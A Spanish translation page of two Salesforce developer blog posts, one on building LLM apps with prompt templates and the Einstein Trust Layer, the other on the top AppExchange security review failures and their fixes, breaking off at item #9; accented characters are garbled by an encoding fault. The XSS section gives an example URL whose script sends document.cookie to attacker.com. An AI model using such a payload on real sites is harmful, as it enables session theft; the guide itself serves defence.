Skip to content

Tag: Seguridad e identidad

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

